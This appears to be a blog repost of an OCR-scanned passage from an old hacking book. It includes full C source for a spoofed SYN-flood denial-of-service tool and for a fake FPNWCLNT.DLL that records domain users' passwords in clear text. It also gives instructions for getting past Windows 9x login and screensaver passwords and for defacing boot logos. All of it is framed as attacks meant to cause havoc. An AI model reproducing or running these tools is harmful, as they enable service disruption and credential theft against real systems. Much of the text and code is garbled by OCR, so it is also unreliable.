Synopsis: Remote SYN attack that locks up all connections until reset internally. Hack State: Severe congestion. Vulnerabilities: All flavors.

Breach: Synfld.c.



Synfld.c



#include

void dosynpacket(unsigned int, unsigned int, unsigned short, unsign ed short);

unsigned short in_cksum(unsigned short *, int); unsigned int host2ip(char *); main(int argc, char **argv)

{

unsigned int srchost; char tmpsrchost[12]; int i,s1,s2,s3,s4; unsigned int dsthost; unsigned short port=80; unsigned short random_port; unsigned int number=1000;

printf("synful [It's so synful to send those spoofed SYN's]\n"); printf("Hacked out by \\\\StOrM\\\\\n\n");

if(argc < 2) {

printf("syntax: synful targetIP\n", argv[0]);

exit(0);

}

initrand();

dsthost = host2ip(argv[1]); if(argc >= 3) port = atoi(argv[2]); if(argc >= 4) number = atoi(argv[3]); if(port == 0) port = 80; if(number == 0) number = 1000; printf("Destination : %s\n",argv[1]); printf("Port : %u\n",port); printf("NumberOfTimes: %d\n\n", number); for(i=0;i < number;i++) {

si = 1+(int) (255.0*rand()/(RAND_MAX+1.0)); s2 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));

s3 = 1+(int) (255.0*rand()/(RAND_MAX+1.0)); s4 = 1+(int) (255.0*rand()/(RAND_MAX+1.0)); random_port = 1+(int) (10000.0*rand()/(RAND_MAX+1.0));

sprintf(tmpsrchost,"%d.%d.%d.%d",s1,s2,s3,s4);

printf("Being Synful to %s at port %u from %s port %u\n", arg

v[1],



port, tmpsrchost, random_port);

srchost = host2ip(tmpsrchost);

dosynpacket(srchost, dsthost, port, random_port);

}

}

void dosynpacket(unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port, unsigned short ran_port) {

struct send_tcp

{

struct iphdr ip;

struct tcphdr tcp; } send_tcp; struct pseudo_header {

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp; } pseudo_header; int tcp_socket; struct sockaddr_in sin; int sinlen; send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 0; send_tcp.ip.tot_len = htons(40); send_tcp.ip.id = ran_port; send_tcp.ip.frag_off = 0; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = IPPROTO_TCP; send_tcp.ip.check = 0; send_tcp.ip.saddr = source_addr; send_tcp.ip.daddr = dest_addr; send_tcp.tcp.source = ran_port; send_tcp.tcp.dest = htons(dest_port); send_tcp.tcp.seq = ran_port; send_tcp.tcp.ack_seq = 0; send_tcp.tcp.res1 = 0; send_tcp.tcp.doff = 5; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.rst = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.res2 = 0; send_tcp.tcp.window = htons(512); send_tcp.tcp.check = 0; send_tcp.tcp.urg_ptr = 0;

sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.source; sin.sin_addr.s_addr = send_tcp.ip.daddr; tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(tcp_socket < 0)

{

perror("socket"); exit(1);

}

send_tcp.tcp.source++; send_tcp.ip.id++; send_tcp.tcp.seq++;

send_tcp.tcp.check = 0; send_tcp.ip.check = 0;

send tcp.ip.check = in cksum((unsigned short *)&send tcp.ip,

20);

pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20);

bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_heade r, 32);

sinlen = sizeof(sin);

sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen);

close(tcp_socket);

}

unsigned short in_cksum(unsigned short *ptr, int nbytes)

{

register long sum; /* assumes long == 32 bits */ u_short oddbyte;

register u_shortanswer; /* assumes u_short == 16 bits */

sum = 0;

while (nbytes > 1) { sum += *ptr++; nbytes -= 2;

}

if (nbytes == 1) {

oddbyte = 0; /* make sure top half is zero */

*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */

sum += oddbyte;

}

sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */

answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer);

}

unsigned int host2ip(char *hostname)

{

static struct in_addr i; struct hostent *h; i.s_addr = inet_addr(hostname); if(i.s addr == -1)

h = gethostbyname(hostname);

if(h == NULL)

{

fprintf(stderr, "cant find %s!\n", hostname);

exit(0);

}

bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);

}

return i.s_addr;

}

void initrand(void)

{

struct timeval tv;

gettimeofday(&tv, (struct timezone *) NULL); srand(tv.tv_usec);

}



Microsoft Windows



Since 1975, Bill Gates, under the auspices of his company, Microsoft (www.microsoft.com), has overseen the development of the leading Windows operating systems and software, predominately for the PC. Following exponential expansion, these products are now found in homes, schools, and businesses worldwide. As of December 31, 1999, Microsoft was employing 34,571 people globally, of whom 14,433 were engaged in research and development.



But Windows developers have been focusing on designing more features and system control, with less attention being paid to security concerns. The result is that the majority of Underground hackers specifically target Windows vulnerabilities. Therefore, this section is devoted to hacker attacks on Windows systems, including versions 3x, 9x, 9x Millennium, NT, and 2000.



Although many of the hacking techniques and programs reviewed in Chapter 8 can be applied to the Windows operating system, in this chapter, we'll explore specialized techniques, from gaining access and control to instigating widespread mayhem.



Liabilities

Password Cracking

Cracking System Login Passwords

Synopsis: Locating and manipulating the password file can facilitate illicit login access. Hack State: Unauthorized access.

C:\>dir/& * .pwl




Volume in drive C is HP_PAV Vofunne Serial IMurnber is 2FrO-i5DlA




Directory of C:\WlNDOWS




HPAUTHOR PWL 753 04-05-00 DEFAULT PWL 563 04-23-93 JOHNCHIRPWL 972 10-03-00


5:52p HPAJTHOR.PWL 9:22p DEFAULT.PWL 8:32a JOHNCHIR.PWL

Figure 10.5 Searching for the .PWL files. Vulnerabilities: Win 3x, 9x.

Breach: One of the most common hacking techniques involves maneuvering the login data file, ???.PWL, usually in the \Windows directory (see Figure 10.5). The three question marks represent the actual login username for a specific profile that has system access and is associated with a unique profile.



This particular breach is typical in corporate environments whereby causing havoc is intended. On systems with multiple profiles, the attacker simply moves the target file to a temporary directory, then logs in with the victim's username, minus the password. At this point, files are deleted, desktop settings are modified, and so on. When the damage is complete, the attacker restores the USERNAME.PWL file and logs out. The attacker may also copy the file to a diskette and crack the password with any number of the password-cracking utilities described in Chapter 8. As a result, the system can become accessible to remote control Trojan implementation, including networking domination. An alternative attack on single-profile systems is when the attacker bypasses the login screen password prompt by pressing F8, then selecting to enter MS-DOS (#7) at bootup.



Cracking Screensaver Passwords



Synopsis: Locating and manipulating screensaver password information can facilitate illicit login access.

Hack State: Unauthorized access. Vulnerabilities: Win 3x, 9x.

Breach: By modifying the data coupled with the ScreenSaverData string, hackers can change screensaver passwords to gain unauthorized access to a



system. The target files associated with this crack attack are: Control.INI for Win 3x and user.dat for Win 9x (located in the /Windows directory). The data that follows the password string represents the hex digits of the unencrypted ASCII values. (To brush up on hex conversions, review Chapter 6, ''The Hacker's Technology Handbook."



Hackers employed in corporate America like to take this exploit a bit further by embarrassing friends and coworkers with what's called a logo revamp. As all Windows users know, each time Windows boots up and shuts down, the Microsoft logo is displayed while programs and drivers are loaded and unloaded in the background. Also well known to users is how to change the system wallpaper. This particular attack involves customizing the actual system logos; it requires following a series of very simple steps:

After bypassing the screensaver password or cracking the system login, the attacker quickly scans for and executes any graphical illustration package, such as Adobe Photoshop or Paint.

From the illustration program, the attacker opens Files of Type: All Files and looks in the root Windows directory for any logo*.sys files. This is where the Microsoft graphical logos that appear during startup/shutdown are stored.

At this point the attacker simply modifies the Logow.sys file, either to include some nasty phrase or graphic, and then saves the file as the new custom shutdown logo. To demonstrate the system shutdown logo has been selected in Figure 10.6.

Sniffing Password Files

Synopsis: Transferring a bogus .DLL can deceitfully capture passwords in clear text. Hack State: Password capture. Vulnerabilities: Win NT

Breach: Hackers replace a dynamic link library (DLL) file in the system32 directory with a penetrator that captures passwords from a domain controller in clear text. FPNWCLNT, which typically operates in a NetWare environment and is associated with Registry , can be manipulated to communicate passwords with an imitation FPNWCLNT.DLL (see Figure 10.7).



After compiling the following penetrator (FPNWCLNT.C), the attacker simply renames the file with a .DLL extension and transfers the file to the root //system32 directory on the primary domain controller. The code can be modi-



Ftegisliy Editos



- _| HKЈYJ.0CAL_MACHINE







eg q hardware




bso sam 1


*S)a(Jh1 "miWCLNT"

CJ security

+■ _| software







bD system







CJ Odne















S CJ Contfol5eH)rj2




5 CJ fjJfertContralSet




E j Control









ffl CJ Class







S CJ Ciompij*efN*ne









CJ FleSystefli




S LJ GrflphcsOiivets




CJ GiaupOrd&List




CJ hrrtist




>; CJ iDConfigDfJ




>; Cj Keytoad L^Krjt




b CJ Keyboard L^rou*;




s CJ






Figure 10.7 Searching the Registry.



fied to store passwords via clear text in a predetermined file, such as C:\\temp\\pwdchange.out, as indicated in the following excerpt:

fh = CreateFile("C:\\temp\\pwdchange.out", fpnwclnt.c

#include #include #include



struct UNI_STRING { USHORT len; USHORT maxlen; WCHAR *buff;





static HANDLE fh;



BOOLEAN _stdcall InitializeChangeNotify ()

{

DWORD wrote;

fh = CreateFile("C:\\temp\\pwdchange.out",

GENERIC_WRITE,

FILE_SHARE_READ|FILE_SHARE_WRITE,

0,

CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,

565

WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0); return TRUE;

}



LONG _stdcall PasswordChangeNotify (

struct UNI_STRING *user, ULONG rid,

struct UNI_STRING *passwd

) {

DWORD wrote; WCHAR wbuf[2 00]; char buf[512];

char buf1[200]; DWORD len;



memcpy(wbuf, user->buff, user->len);

len = user->len/sizeof(WCHAR);

wbuf[len] = 0;

wcstombs(buf1, wbuf, 199);

sprintf(buf, "User = %s : ", buf1);

WriteFile(fh, buf, strlen(buf), &wrote, 0);



memcpy(wbuf, passwd->buff, passwd->len);

len = passwd->len/sizeof(WCHAR);

wbuf[len] = 0;

wcstombs(buf1, wbuf, 199);

sprintf(buf, "Password = %s : ", buf1);

WriteFile(fh, buf, strlen(buf), &wrote, 0);



sprintf(buf, "RID = %x\n", rid); WriteFile(fh, buf, strlen(buf), &wrote, 0);



return 0L;

}



System Crashing

No comments:

Post a Comment